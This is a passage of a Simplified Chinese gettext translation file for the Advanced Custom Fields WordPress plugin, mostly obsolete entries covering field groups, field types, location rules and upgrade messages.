msgid "Please enter your license key above to unlock updates"
msgstr "在上面输入许可证号解锁更新"

#: pro/admin/views/html-settings-updates.php:109
msgid "Update Plugin"
msgstr "更新插件"

#: pro/admin/views/html-settings-updates.php:107
msgid "Please reactivate your license to unlock updates"
msgstr ""

#: pro/admin/views/html-settings-updates.php:124
msgid "Changelog"
msgstr "更新日志"

#: pro/admin/views/html-settings-updates.php:134
msgid "Upgrade Notice"
msgstr "更新通知"

#~ msgid "Advanced Custom Fields"
#~ msgstr "高级自定义字段"

#~ msgid "Field Groups"
#~ msgstr "字段组"

#~ msgid "Field Group"
#~ msgstr "字段组"

#~ msgid "Add New Field Group"
#~ msgstr "添加字段组"

#~ msgid "Edit Field Group"
#~ msgstr "编辑字段组"

#~ msgid "New Field Group"
#~ msgstr "新建字段组"

#~ msgid "View Field Group"
#~ msgstr "查看字段组"

#~ msgid "Search Field Groups"
#~ msgstr "搜索字段组"

#~ msgid "No Field Groups found"
#~ msgstr "没有找到字段组"

#~ msgid "No Field Groups found in Trash"
#~ msgstr "回收站中没有找到字段组"

#~ msgid "Field"
#~ msgstr "字段"

#~ msgid "Add New Field"
#~ msgstr "添加新字段"

#~ msgid "Edit Field"
#~ msgstr "编辑字段"

#~ msgid "New Field"
#~ msgstr "新字段"

#~ msgid "View Field"
#~ msgstr "新字段"

#~ msgid "Search Fields"
#~ msgstr "搜索字段"

#~ msgid "No Fields found"
#~ msgstr "没找到字段"

#~ msgid "No Fields found in Trash"
#~ msgstr "回收站里没有字段"

#~ msgid "Disabled"
#~ msgstr "禁用"

#, php-format
#~ msgid "Disabled <span class=\"count\">(%s)</span>"
#~ msgid_plural "Disabled <span class=\"count\">(%s)</span>"
#~ msgstr[0] "禁用 <span class=\"count\">(%s)</span>"

#~ msgid "Custom Fields"
#~ msgstr "字段"

#~ msgid "Field group updated."
#~ msgstr "字段组已更新。"

#~ msgid "Field group deleted."
#~ msgstr "字段组已删除。"

#~ msgid "Field group published."
#~ msgstr "字段组已发布。"

#~ msgid "Field group saved."
#~ msgstr "字段组已保存。"

#~ msgid "Field group submitted."
#~ msgstr "字段组已提交。"

#~ msgid "Field group scheduled for."
#~ msgstr "字段组已定时。"

#~ msgid "Field group draft updated."
#~ msgstr "字段组草稿已更新。"

#~ msgid "Move to trash. Are you sure?"
#~ msgstr "确定要删除吗?"

#~ msgid "checked"
#~ msgstr "已选"

#~ msgid "No toggle fields available"
#~ msgstr "没有可用的切换字段"

#~ msgid "Field group title is required"
#~ msgstr "字段组的标题是必填项"

#~ msgid "copy"
#~ msgstr "复制"

#~ msgid "or"
#~ msgstr "或"

#~ msgid "Parent fields"
#~ msgstr "父字段"

#~ msgid "Sibling fields"
#~ msgstr "兄弟字段"

#~ msgid "Move Custom Field"
#~ msgstr "移动自定义字段"

#~ msgid "This field cannot be moved until its changes have been saved"
#~ msgstr "保存这个字段的修改以后才能移动这个字段"

#~ msgid "Null"
#~ msgstr "Null"

#~ msgid ""
#~ "The changes you made will be lost if you navigate away from this page"
#~ msgstr "如果浏览其它页面,会丢失当前所做的修改"

#~ msgid "The string \"field_\" may not be used at the start of a field name"
#~ msgstr "\"field_\" 这个字符串不能作为字段名字的开始部分"

#~ msgid "Location"
#~ msgstr "位置"

#~ msgid "Settings"
#~ msgstr "设置"

#~ msgid "Field Keys"
#~ msgstr "字段 Keys"

#~ msgid "Active"
#~ msgstr "激活"

#~ msgid "Front Page"
#~ msgstr "首页"

#~ msgid "Posts Page"
#~ msgstr "文章页"

#~ msgid "Top Level Page (no parent)"
#~ msgstr "顶级页面 (无父页面)"

#~ msgid "Parent Page (has children)"
#~ msgstr "父页面(有子页)"

#~ msgid "Child Page (has parent)"
#~ msgstr "子页面(有父页面)"

#~ msgid "Default Template"
#~ msgstr "默认模板"

#~ msgid "Logged in"
#~ msgstr "登录"

#~ msgid "Viewing front end"
#~ msgstr "查看前端"

#~ msgid "Viewing back end"
#~ msgstr "查看后端"

#~ msgid "Super Admin"
#~ msgstr "超级管理员"

#~ msgid "Add / Edit"
#~ msgstr "添加 / 编辑"

#~ msgid "Register"
#~ msgstr "注册"

#~ msgid "Move Complete."
#~ msgstr "移动完成。"

#, php-format
#~ msgid "The %s field can now be found in the %s field group"
#~ msgstr "%s 字段现在会在 %s 字段组里"

#~ msgid "Close Window"
#~ msgstr "关闭窗口"

#~ msgid "Please select the destination for this field"
#~ msgstr "请选择这个字段的位置"

#~ msgid "Move Field"
#~ msgstr "移动字段"

#, php-format
#~ msgid "Active <span class=\"count\">(%s)</span>"
#~ msgid_plural "Active <span class=\"count\">(%s)</span>"
#~ msgstr[0] "启用 <span class=\"count\">(%s)</span>"

#, php-format
#~ msgid "Field group duplicated. %s"
#~ msgstr "字段组已被复制。%s"

#, php-format
#~ msgid "%s field group duplicated."
#~ msgid_plural "%s field groups duplicated."
#~ msgstr[0] "%s 字段组已被复制。"

#, php-format
#~ msgid "Field group synchronised. %s"
#~ msgstr "字段组已同步。 %s"

#, php-format
#~ msgid "%s field group synchronised."
#~ msgid_plural "%s field groups synchronised."
#~ msgstr[0] "%s 字段组已同步。"

#~ msgid "Sync available"
#~ msgstr "有可用同步"

#~ msgid "Status"
#~ msgstr "状态"

#~ msgid "See what's new in"
#~ msgstr "查看更新内容于"

#~ msgid "version"
#~ msgstr "版本"

#~ msgid "Resources"
#~ msgstr "资源"

#~ msgid "Getting Started"
#~ msgstr "起步"

#~ msgid "Field Types"
#~ msgstr "字段类型"

#~ msgid "Functions"
#~ msgstr "功能"

#~ msgid "Actions"
#~ msgstr "操作"

#~ msgid "Filters"
#~ msgstr "过滤器"

#~ msgid "'How to' guides"
#~ msgstr "新手向导"

#~ msgid "Tutorials"
#~ msgstr "教程"

#~ msgid "Created by"
#~ msgstr "创建者"

#~ msgid "Duplicate this item"
#~ msgstr "复制此项"

#, php-format
#~ msgid "Select %s"
#~ msgstr "选择 %s"

#~ msgid "Synchronise field group"
#~ msgstr "同步字段组"

#~ msgid "Sync"
#~ msgstr "同步"

#~ msgid "Add-ons"
#~ msgstr "附加功能"

#~ msgid "<b>Error</b>. Could not load add-ons list"
#~ msgstr "<b>错误</b>,无法加载扩展列表"

#~ msgid "Info"
#~ msgstr "信息"

#~ msgid "What's New"
#~ msgstr "更新日志"

#~ msgid "Tools"
#~ msgstr "工具"

#~ msgid "No field groups selected"
#~ msgstr "没选择字段组"

#~ msgid "No file selected"
#~ msgstr "没选择文件"

#~ msgid "Error uploading file. Please try again"
#~ msgstr "文件上传失败,请重试"

#~ msgid "Incorrect file type"
#~ msgstr "文本类型不对"

#~ msgid "Import file empty"
#~ msgstr "导入的文件是空白的"

#, php-format
#~ msgid "<b>Success</b>. Import tool added %s field groups: %s"
#~ msgstr "<b>成功</b>,导入工具添加了 %s 字段组: %s"

#, php-format
#~ msgid ""
#~ "<b>Warning</b>. Import tool detected %s field groups already exist and "
#~ "have been ignored: %s"
#~ msgstr "<b>警告</b>,导入工具检测到 %s 字段组已经存在了。忽略的字段组:%s"

#~ msgid "Upgrade ACF"
#~ msgstr "升级 ACF"

#~ msgid "Review sites & upgrade"
#~ msgstr "检查网站并升级"

#~ msgid "Upgrade"
#~ msgstr "升级"

#~ msgid "Upgrade Database"
#~ msgstr "升级数据库"

#~ msgid "Conditional Logic"
#~ msgstr "条件逻辑"

#~ msgid "Show this field if"
#~ msgstr "显示此字段的条件"

#~ msgid "is equal to"
#~ msgstr "等于"

#~ msgid "is not equal to"
#~ msgstr "不等于"

#~ msgid "and"
#~ msgstr "与"

#~ msgid "Add rule group"
#~ msgstr "添加规则组"

#~ msgid "Edit field"
#~ msgstr "编辑字段"

#~ msgid "Duplicate field"
#~ msgstr "复制字段"

#~ msgid "Move field to another group"
#~ msgstr "把字段移动到其它群组"

#~ msgid "Move"
#~ msgstr "移动"

#~ msgid "Delete field"
#~ msgstr "删除字段"

#~ msgid "Error"
#~ msgstr "错误"

#~ msgid "Error."
#~ msgstr "错误。"

#~ msgid "Field type does not exist"
#~ msgstr "字段类型不存在"

#~ msgid "Field Label"
#~ msgstr "字段标签"

#~ msgid "This is the name which will appear on the EDIT page"
#~ msgstr "在编辑界面显示的名字"

#~ msgid "Field Name"
#~ msgstr "字段名称"

#~ msgid "Single word, no spaces. Underscores and dashes allowed"
#~ msgstr "单个字符串,不能有空格,可以用横线或下画线。"

#~ msgid "Field Type"
#~ msgstr "字段类型"

#~ msgid "Instructions"
#~ msgstr "说明"

#~ msgid "Instructions for authors. Shown when submitting data"
#~ msgstr "显示给内容作者的说明文字,在提交数据时显示"

#~ msgid "Required?"
#~ msgstr "必填?"

#~ msgid "Wrapper Attributes"
#~ msgstr "包装属性"

#~ msgid "width"
#~ msgstr "宽度"

#~ msgid "class"
#~ msgstr "class"

#~ msgid "id"
#~ msgstr "id"

#~ msgid "Close Field"
#~ msgstr "关闭字段"

#~ msgid "Order"
#~ msgstr "序号"

#~ msgid "Type"
#~ msgstr "类型"

#~ msgid ""
#~ "No fields. Click the <strong>+ Add Field</strong> button to create your "
#~ "first field."
#~ msgstr "没有字段,点击<strong>添加</strong>按钮创建第一个字段。"

#~ msgid "Drag and drop to reorder"
#~ msgstr "拖拽排序"

#~ msgid "+ Add Field"
#~ msgstr "+ 添加字段"

#~ msgid "Rules"
#~ msgstr "规则"

#~ msgid ""
#~ "Create a set of rules to determine which edit screens will use these "
#~ "advanced custom fields"
#~ msgstr "创建一组规则以确定自定义字段在哪个编辑界面上显示"

#~ msgid "Show this field group if"
#~ msgstr "显示此字段组的条件"

#~ msgid "Post"
#~ msgstr "内容"

#~ msgid "Post Type"
#~ msgstr "内容类型"

#~ msgid "Post Status"
#~ msgstr "内容状态"

#~ msgid "Post Format"
#~ msgstr "内容格式"

#~ msgid "Post Category"
#~ msgstr "内容类别"

#~ msgid "Post Taxonomy"
#~ msgstr "内容分类法"

#~ msgid "Page"
#~ msgstr "页面"

#~ msgid "Page Template"
#~ msgstr "页面模板"

#~ msgid "Page Type"
#~ msgstr "页面类型"

#~ msgid "Page Parent"
#~ msgstr "父级页面"

#~ msgid "User"
#~ msgstr "用户"

#~ msgid "Current User"
#~ msgstr "当前用户"

#~ msgid "Current User Role"
#~ msgstr "当前用户角色"

#~ msgid "User Form"
#~ msgstr "用户表单"

#~ msgid "User Role"
#~ msgstr "用户角色"

#~ msgid "Forms"
#~ msgstr "表单"

#~ msgid "Attachment"
#~ msgstr "附件"

#~ msgid "Taxonomy Term"
#~ msgstr "分类词汇"

#~ msgid "Comment"
#~ msgstr "评论"

#~ msgid "Widget"
#~ msgstr "小工具"

#~ msgid "Style"
#~ msgstr "样式"

#~ msgid "Standard (WP metabox)"
#~ msgstr "标准(WP Metabox)"

#~ msgid "Seamless (no metabox)"
#~ msgstr "无缝(无 metabox)"

#~ msgid "Position"
#~ msgstr "位置"

#~ msgid "High (after title)"
#~ msgstr "高(标题之后)"

#~ msgid "Normal (after content)"
#~ msgstr "正常(内容之后)"

#~ msgid "Side"
#~ msgstr "边栏"

#~ msgid "Label placement"
#~ msgstr "标签位置"

#~ msgid "Top aligned"
#~ msgstr "顶部对齐"

#~ msgid "Left aligned"
#~ msgstr "左对齐"

#~ msgid "Instruction placement"
#~ msgstr "说明位置"

#~ msgid "Below labels"
#~ msgstr "标签之下"

#~ msgid "Below fields"
#~ msgstr "字段之下"

#~ msgid "Order No."
#~ msgstr "序号"

#~ msgid "Field groups with a lower order will appear first"
#~ msgstr "序号小的字段组会排在最前面"

#~ msgid "Shown in field group list"
#~ msgstr "在字段组列表中显示"

#~ msgid "Hide on screen"
#~ msgstr "隐藏元素"

#~ msgid "<b>Select</b> items to <b>hide</b> them from the edit screen."
#~ msgstr "<b>选择</b>需要在编辑界面<b>隐藏</b>的条目。 "

#~ msgid ""
#~ "If multiple field groups appear on an edit screen, the first field "
#~ "group's options will be used (the one with the lowest order number)"
#~ msgstr ""
#~ "如果多个字段组同时出现在编辑界面,会使用第一个字段组里的选项(就是序号最小"
#~ "的那个字段组)"

#~ msgid "Permalink"
#~ msgstr "固定链接"

#~ msgid "Content Editor"
#~ msgstr "内容编辑器"

#~ msgid "Excerpt"
#~ msgstr "摘要"

#~ msgid "Discussion"
#~ msgstr "讨论"

#~ msgid "Comments"
#~ msgstr "评论"

#~ msgid "Revisions"
#~ msgstr "修订"

#~ msgid "Slug"
#~ msgstr "别名"

#~ msgid "Author"
#~ msgstr "作者"

#~ msgid "Format"
#~ msgstr "格式"

#~ msgid "Page Attributes"
#~ msgstr "页面属性"

#~ msgid "Featured Image"
#~ msgstr "特色图像"

#~ msgid "Categories"
#~ msgstr "类别"

#~ msgid "Tags"
#~ msgstr "标签"

#~ msgid "Send Trackbacks"
#~ msgstr "发送 Trackbacks"

#~ msgid "Download & Install"
#~ msgstr "下载并安装"

#~ msgid "Installed"
#~ msgstr "已安装"

#~ msgid "Welcome to Advanced Custom Fields"
#~ msgstr "欢迎使用高级自定义字段"

#, php-format
#~ msgid ""
#~ "Thank you for updating! ACF %s is bigger and better than ever before. We "
#~ "hope you like it."
#~ msgstr "感谢升级到更好的 ACF %s,你会喜欢上它的。"

#~ msgid "A smoother custom field experience"
#~ msgstr "平滑的自定义字段体验"

#~ msgid "Improved Usability"
#~ msgstr "改善用户体验"

#~ msgid ""
#~ "Including the popular Select2 library has improved both usability and "
#~ "speed across a number of field types including post object, page link, "
#~ "taxonomy and select."
#~ msgstr ""
#~ "Select2 这个库,改善了内容对象,分类法,选择列表等字段的用户体验与速度。"

#~ msgid "Improved Design"
#~ msgstr "改善的设计"

#~ msgid ""
#~ "Many fields have undergone a visual refresh to make ACF look better than "
#~ "ever! Noticeable changes are seen on the gallery, relationship and oEmbed "
#~ "(new) fields!"
#~ msgstr "很多字段变漂亮了,比如相册,关系,oEmbed 。"

#~ msgid "Improved Data"
#~ msgstr "改善的数据"

#~ msgid ""
#~ "Redesigning the data architecture has allowed sub fields to live "
#~ "independently from their parents. This allows you to drag and drop fields "
#~ "in and out of parent fields!"
#~ msgstr ""
#~ "重新设计了数据结构,让子字段独立于它的爸爸。这样我们可以把字段放到父字段"
#~ "里,也可以从父字段里拿出来。"

#~ msgid "Goodbye Add-ons. Hello PRO"
#~ msgstr "再见了扩展,欢迎专业版"

#~ msgid "Introducing ACF PRO"
#~ msgstr "ACF 专业版介绍"

#~ msgid ""
#~ "We're changing the way premium functionality is delivered in an exciting "
#~ "way!"
#~ msgstr "我们改进了为您提供高级功能的方法。"

#, php-format
#~ msgid ""
#~ "All 4 premium add-ons have been combined into a new <a href=\"%s\">Pro "
#~ "version of ACF</a>. With both personal and developer licenses available, "
#~ "premium functionality is more affordable and accessible than ever before!"
#~ msgstr ""
#~ "之前的 4 个高级功能扩展现在被组合成了一个新的 <a href=\"%s\">ACF 专业版</"
#~ "a>。许可证分为两种,个人与开发者,现在这些高级功能更实惠也更易用。"

#~ msgid "Powerful Features"
#~ msgstr "强大的功能"

#~ msgid ""
#~ "ACF PRO contains powerful features such as repeatable data, flexible "
#~ "content layouts, a beautiful gallery field and the ability to create "
#~ "extra admin options pages!"
#~ msgstr ""
#~ "ACF 专业版有重复数据,弹性内容布局,相册功能,还可以创建页面的管理选项。"

#, php-format
#~ msgid "Read more about <a href=\"%s\">ACF PRO features</a>."
#~ msgstr "了解更多关于 <a href=\"%s\">ACF PRO 的功能</a>。"

#~ msgid "Easy Upgrading"
#~ msgstr "便捷的升级"

#, php-format
#~ msgid ""
#~ "To help make upgrading easy, <a href=\"%s\">login to your store account</"
#~ "a> and claim a free copy of ACF PRO!"
#~ msgstr "<a href=\"%s\">登录到商店帐户</a>,可以方便以后升级。"

#, php-format
#~ msgid ""
#~ "We also wrote an <a href=\"%s\">upgrade guide</a> to answer any "
#~ "questions, but if you do have one, please contact our support team via "
#~ "the <a href=\"%s\">help desk</a>"
#~ msgstr ""
#~ "阅读 <a href=\"%s\">升级手册</a>,需要帮助请联系 <a href=\"%s\">客服</a>"

#~ msgid "Under the Hood"
#~ msgstr "工作原理"

#~ msgid "Smarter field settings"
#~ msgstr "更聪明的字段设置"

#~ msgid "ACF now saves its field settings as individual post objects"
#~ msgstr "ACF 现在用单独的内容对象字段设置"

#~ msgid "More AJAX"
#~ msgstr "更多 AJAX"

#~ msgid "More fields use AJAX powered search to speed up page loading"
#~ msgstr "更多字段使用 AJAX 搜索,这让页面加载速度更快"

#~ msgid "Local JSON"
#~ msgstr "本地 JSON"

#~ msgid "New auto export to JSON feature improves speed"
#~ msgstr "改进了新的自动导出 JSON 功能的速度"

#~ msgid "Better version control"
#~ msgstr "更好的版本控制"

#~ msgid ""
#~ "New auto export to JSON feature allows field settings to be version "
#~ "controlled"
#~ msgstr "新的自动 JSON 导出功能让字段设置可以包含在版本控制里"

#~ msgid "Swapped XML for JSON"
#~ msgstr "用 JSON 替代 XML"

#~ msgid "Import / Export now uses JSON in favour of XML"
#~ msgstr "导入 / 导出现在用 JSON 代替以前的 XML"

#~ msgid "New Forms"
#~ msgstr "新表单"

#~ msgid "Fields can now be mapped to comments, widgets and all user forms!"
#~ msgstr "字段现在可以用在评论,小工具还有所有的用户表单上。"

#~ msgid "A new field for embedding content has been added"
#~ msgstr "新添加了一个嵌入内容用的字段"

#~ msgid "New Gallery"
#~ msgstr "新相册"

#~ msgid "The gallery field has undergone a much needed facelift"
#~ msgstr "改进了相册字段的显示"

#~ msgid "New Settings"
#~ msgstr "新设置"

#~ msgid ""
#~ "Field group settings have been added for label placement and instruction "
#~ "placement"
#~ msgstr "字段组设置添加了标签位置与介绍位置"

#~ msgid "Better Front End Forms"
#~ msgstr "更好的前端表单"

#~ msgid "acf_form() can now create a new post on submission"
#~ msgstr "acf_form() 现在可以在提交的时候创建新的内容"

#~ msgid "Better Validation"
#~ msgstr "更好的验证方式"

#~ msgid "Form validation is now done via PHP + AJAX in favour of only JS"
#~ msgstr "表单验证现在使用 PHP + AJAX 的方式"

#~ msgid "Relationship Field"
#~ msgstr "关系字段"

#~ msgid ""
#~ "New Relationship field setting for 'Filters' (Search, Post Type, Taxonomy)"
#~ msgstr "新的用来过滤的关系字段设置(搜索,内容类型,分类法)"

#~ msgid "Moving Fields"
#~ msgstr "移动字段"

#~ msgid ""
#~ "New field group functionality allows you to move a field between groups & "
#~ "parents"
#~ msgstr "新的字段组功能可以让我们在群组与爸爸之间移动字段"

#~ msgid "Page Link"
#~ msgstr "页面链接"

#~ msgid "New archives group in page_link field selection"
#~ msgstr "在 page_link 字段选择里的新的存档群组"

#~ msgid "Better Options Pages"
#~ msgstr "选项页面"

#~ msgid ""
#~ "New functions for options page allow creation of both parent and child "
#~ "menu pages"
#~ msgstr "选项页面的新功能,可以让你同时创建父菜单与子菜单页面"

#, php-format
#~ msgid "We think you'll love the changes in %s."
#~ msgstr "你会喜欢在 %s 里做的修改。"

#~ msgid "Export Field Groups to PHP"
#~ msgstr "导出字段组到PHP"

#~ msgid ""
#~ "The following code can be used to register a local version of the "
#~ "selected field group(s). A local field group can provide many benefits "
#~ "such as faster load times, version control & dynamic fields/settings. "
#~ "Simply copy and paste the following code to your theme's functions.php "
#~ "file or include it within an external file."
#~ msgstr ""
#~ "下面的代码可以用来创建一个本地版本的所选字段组。本地字段组加载更快,可以版"
#~ "本控制。你可以把下面这些代码放在你的主题的 functions.php 文件里。"

#~ msgid "Select Field Groups"
#~ msgstr "选择字段组"

#~ msgid "Export Field Groups"
#~ msgstr "导出字段组"

#~ msgid ""
#~ "Select the field groups you would like to export and then select your "
#~ "export method. Use the download button to export to a .json file which "
#~ "you can then import to another ACF installation. Use the generate button "
#~ "to export to PHP code which you can place in your theme."
#~ msgstr ""
#~ "选择你想导出的字段组,然后选择导出的方法。使用 <b>下载</b> 按钮可以导出一"
#~ "个 .json 文件,你可以在其它的网站里导入它。使用 <b>生成</b> 按钮可以导出 "
#~ "PHP 代码,这些代码可以放在你的主题或插件里。"

#~ msgid "Download export file"
#~ msgstr "下载导出文件"

#~ msgid "Generate export code"
#~ msgstr "生成导出代码"

#~ msgid "Import Field Groups"
#~ msgstr "导入字段组"

#~ msgid ""
#~ "Select the Advanced Custom Fields JSON file you would like to import. "
#~ "When you click the import button below, ACF will import the field groups."
#~ msgstr ""
#~ "选择你想导入的 Advanced Custom Fields JSON 文件,然后点击 <b>导入</b> 按钮"
#~ "可以导入 JSON 文件里定义的字段组。"

#~ msgid "Select File"
#~ msgstr "选择文件"

#~ msgid "Import"
#~ msgstr "导入"

#~ msgid "Advanced Custom Fields Database Upgrade"
#~ msgstr "Advanced Custom Fields 数据库升级"

#~ msgid ""
#~ "The following sites require a DB upgrade. Check the ones you want to "
#~ "update and then click “Upgrade Database”."
#~ msgstr "下面的网站需要升级数据库,点击 “升级数据库” 。"

#~ msgid "Site"
#~ msgstr "网站"

#, php-format
#~ msgid "Site requires database upgrade from %s to %s"
#~ msgstr "网站需要从  %s 升级到 %s"

#~ msgid "Site is up to date"
#~ msgstr "网站已是最新版"

#~ msgid ""
#~ "Database Upgrade complete. <a href=\"%s\">Return to network dashboard</a>"
#~ msgstr "数据库升级完成,<a href=\"%s\">返回网络面板</a>"

#~ msgid ""
#~ "It is strongly recommended that you backup your database before "
#~ "proceeding. Are you sure you wish to run the updater now?"
#~ msgstr "升级前最好先备份一下。确定现在升级吗?"

#~ msgid "Upgrade complete"
#~ msgstr "升级完成"

#~ msgid "Upgrading data to"
#~ msgstr "升级数据到"

#~ msgid "Database Upgrade Required"
#~ msgstr "需要升级数据库"

#, php-format
#~ msgid "Thank you for updating to %s v%s!"
#~ msgstr "感谢升级 %s v%s!"

#~ msgid ""
#~ "Before you start using the new awesome features, please update your "
#~ "database to the newest version."
#~ msgstr "先把数据库更新到最新版。"

#~ msgid "Reading upgrade tasks..."
#~ msgstr "阅读更新任务..."

#, php-format
#~ msgid "Upgrading data to version %s"
#~ msgstr "升级数据到 %s 版本"

#~ msgid "See what's new"
#~ msgstr "查看更新"

#~ msgid "No updates available."
#~ msgstr "没有可用更新。"

#~ msgid "Thumbnail"
#~ msgstr "缩略图"

#~ msgid "Medium"
#~ msgstr "中"

#~ msgid "Large"
#~ msgstr "大"

#~ msgid "Full Size"
#~ msgstr "原图"

#, php-format
#~ msgid "Image width must be at least %dpx."
#~ msgstr "图像宽度至少得是 %dpx。"

#, php-format
#~ msgid "Image width must not exceed %dpx."
#~ msgstr "图像宽度最大不能超过 %dpx。"

#, php-format
#~ msgid "Image height must be at least %dpx."
#~ msgstr "图像高度至少得是 %dpx。"

#, php-format
#~ msgid "Image height must not exceed %dpx."
#~ msgstr "图像高度最大不能超过 %dpx。"

#, php-format
#~ msgid "File size must be at least %s."
#~ msgstr "文件尺寸至少得是 %s。"

#, php-format
#~ msgid "File size must must not exceed %s."
#~ msgstr "文件尺寸最大不能超过 %s。"

#, php-format
#~ msgid "File type must be %s."
#~ msgstr "字段类型必须是 %s。"

#~ msgid "Post updated"
#~ msgstr "内容已更新"

#~ msgid "Basic"
#~ msgstr "基本"

#~ msgid "Content"
#~ msgstr "内容"

#~ msgid "Choice"
#~ msgstr "选项"

#~ msgid "Relational"
#~ msgstr "关系"

#~ msgid "jQuery"
#~ msgstr "jQuery"

#~ msgid "Expand Details"
#~ msgstr "展开"

#~ msgid "Collapse Details"
#~ msgstr "折叠"

#~ msgid "Validation successful"
#~ msgstr "验证成功"

#~ msgid "Validation failed"
#~ msgstr "验证失败"

#~ msgid "1 field requires attention"
#~ msgstr "1 个字段需要注意"

#, php-format
#~ msgid "%d fields require attention"
#~ msgstr "%d 个字段需要注意"

#~ msgid "Restricted"
#~ msgstr "限制"

#, php-format
#~ msgid "%s value is required"
#~ msgstr "%s 的值是必填项"

#~ msgid "Checkbox"
#~ msgstr "复选框"

#~ msgid "Toggle All"
#~ msgstr "切换所有"

#~ msgid "Choices"
#~ msgstr "选项"

#~ msgid "Enter each choice on a new line."
#~ msgstr "输入选项,每行一个"

#~ msgid "For more control, you may specify both a value and label like this:"
#~ msgstr "如果需要更多控制,你按照一下格式,定义一个值和标签对:"

#~ msgid "red : Red"
#~ msgstr " red : Red "

#~ msgid "Default Value"
#~ msgstr "默认值"

#~ msgid "Enter each default value on a new line"
#~ msgstr "每行输入一个默认值"

#~ msgid "Vertical"
#~ msgstr "垂直"

#~ msgid "Horizontal"
#~ msgstr "水平"

#~ msgid "Toggle"
#~ msgstr "切换"

#~ msgid "Prepend an extra checkbox to toggle all choices"
#~ msgstr "添加一个可以切换所有选择的复选框"

#~ msgid "Color Picker"
#~ msgstr "颜色选择"

#~ msgid "Clear"
#~ msgstr "清除"

#~ msgid "Default"
#~ msgstr "默认"

#~ msgid "Select Color"
#~ msgstr "选择颜色"

#~ msgid "Date Picker"
#~ msgstr "日期选择"

#~ msgid "Done"
#~ msgstr "完成"

#~ msgid "Today"
#~ msgstr "今天"

#~ msgid "Show a different month"
#~ msgstr "显示其他月份"

#~ msgid "Display Format"
#~ msgstr "显示格式"

#~ msgid "The format displayed when editing a post"
#~ msgstr "编辑内容的时候显示的格式"

#~ msgid "Return format"
#~ msgstr "返回格式"

#~ msgid "The format returned via template functions"
#~ msgstr "通过模板函数返回的格式"

#~ msgid "Week Starts On"
#~ msgstr "每周开始于"

#~ msgid "Email"
#~ msgstr "电子邮件"

#~ msgid "Appears when creating a new post"
#~ msgstr "创建新内容的时候显示"

#~ msgid "Placeholder Text"
#~ msgstr "点位符文本"

#~ msgid "Appears within the input"
#~ msgstr "在 input 内部显示"

#~ msgid "Prepend"
#~ msgstr "前置"

#~ msgid "Appears before the input"
#~ msgstr "在 input 前面显示"

#~ msgid "Append"
#~ msgstr "追加"

#~ msgid "Appears after the input"
#~ msgstr "在 input 后面显示"

#~ msgid "File"
#~ msgstr "文件"

#~ msgid "Edit File"
#~ msgstr "编辑文件"

#~ msgid "Update File"
#~ msgstr "更新文件"

#~ msgid "uploaded to this post"
#~ msgstr "上传到这个内容"

#~ msgid "File Name"
#~ msgstr "文件名"

#~ msgid "File Size"
#~ msgstr "文件尺寸"

#~ msgid "No File selected"
#~ msgstr "没有选择文件"

#~ msgid "Add File"
#~ msgstr "添加文件"

#~ msgid "Return Value"
#~ msgstr "返回值"

#~ msgid "Specify the returned value on front end"
#~ msgstr "指定前端返回的值"

#~ msgid "File Array"
#~ msgstr "文件数组"

#~ msgid "File URL"
#~ msgstr "文件URL"

#~ msgid "File ID"
#~ msgstr "文件ID"

#~ msgid "Restrict which files can be uploaded"
#~ msgstr "限制什么类型的文件可以上传"

#~ msgid "Google Map"
#~ msgstr "谷歌地图"

#~ msgid "Locating"
#~ msgstr "定位"

#~ msgid "Sorry, this browser does not support geolocation"
#~ msgstr "抱歉,浏览器不支持定位"

#~ msgid "Clear location"
#~ msgstr "清除位置"

#~ msgid "Find current location"
#~ msgstr "搜索当前位置"

#~ msgid "Search for address..."
#~ msgstr "搜索地址... "

#~ msgid "Center"
#~ msgstr "居中"

#~ msgid "Center the initial map"
#~ msgstr "居中显示初始地图"

#~ msgid "Zoom"
#~ msgstr "缩放"

#~ msgid "Set the initial zoom level"
#~ msgstr "设置初始缩放级别"

#~ msgid "Customise the map height"
#~ msgstr "自定义地图高度"

#~ msgid "Image"
#~ msgstr "图像"

#~ msgid "Select Image"
#~ msgstr "选择图像"

#~ msgid "Edit Image"
#~ msgstr "编辑图片"

#~ msgid "Update Image"
#~ msgstr "更新图像"

#~ msgid "Uploaded to this post"
#~ msgstr "上传到这个内容"

#~ msgid "All images"
#~ msgstr "所有图片"

#~ msgid "No image selected"
#~ msgstr "没有选择图片"

#~ msgid "Add Image"
#~ msgstr "添加图片"

#~ msgid "Shown when entering data"
#~ msgstr "输入数据时显示"

#~ msgid "Message"
#~ msgstr "消息"

#~ msgid ""
#~ "Please note that all text will first be passed through the wp function "
#~ msgstr "请注意,所有文本将首页通过WP过滤功能"

#~ msgid "Escape HTML"
#~ msgstr "转义 HTML"

#~ msgid "Allow HTML markup to display as visible text instead of rendering"
#~ msgstr "显示 HTML 文本,而不是渲染 HTML"

#~ msgid "Number"
#~ msgstr "号码"

#~ msgid "Minimum Value"
#~ msgstr "最小值"

#~ msgid "Maximum Value"
#~ msgstr "最大值"

#~ msgid "Step Size"
#~ msgstr "步长"

#~ msgid "Value must be a number"
#~ msgstr "值必须是数字"

#, php-format
#~ msgid "Value must be equal to or higher than %d"
#~ msgstr "值要大于等于 %d"

#, php-format
#~ msgid "Value must be equal to or lower than %d"
#~ msgstr "值要小于等于 %d"

#~ msgid "oEmbed"
#~ msgstr "oEmbed"

#~ msgid "Enter URL"
#~ msgstr "输入 URL"

#~ msgid "No embed found for the given URL."
#~ msgstr "在 URL 里没发现嵌入。"

#~ msgid "Embed Size"
#~ msgstr "嵌入尺寸"

#~ msgid "Archives"
#~ msgstr "存档"

#~ msgid "Filter by Post Type"
#~ msgstr "按内容类型筛选"

#~ msgid "All post types"
#~ msgstr "所有内容类型"

#~ msgid "Filter by Taxonomy"
#~ msgstr "按分类筛选"

#~ msgid "All taxonomies"
#~ msgstr "所有分类法"

#~ msgid "Allow Null?"
#~ msgstr "是否允许空值?"

#~ msgid "Select multiple values?"
#~ msgstr "是否选择多个值?"

#~ msgid "Password"
#~ msgstr "密码"

#~ msgid "Post Object"
#~ msgstr "文章对象"

#~ msgid "Post ID"
#~ msgstr "Post ID"

#~ msgid "Radio Button"
#~ msgstr "单选按钮"

#~ msgid "Other"
#~ msgstr "其他"

#~ msgid "Add 'other' choice to allow for custom values"
#~ msgstr "为自定义值添加 'other' 选择"

#~ msgid "Save Other"
#~ msgstr "保存其它"

#~ msgid "Save 'other' values to the field's choices"
#~ msgstr "存档为字段的选择的 'other' 的值"

#~ msgid "Relationship"
#~ msgstr "关系"

#~ msgid "Minimum values reached ( {min} values )"
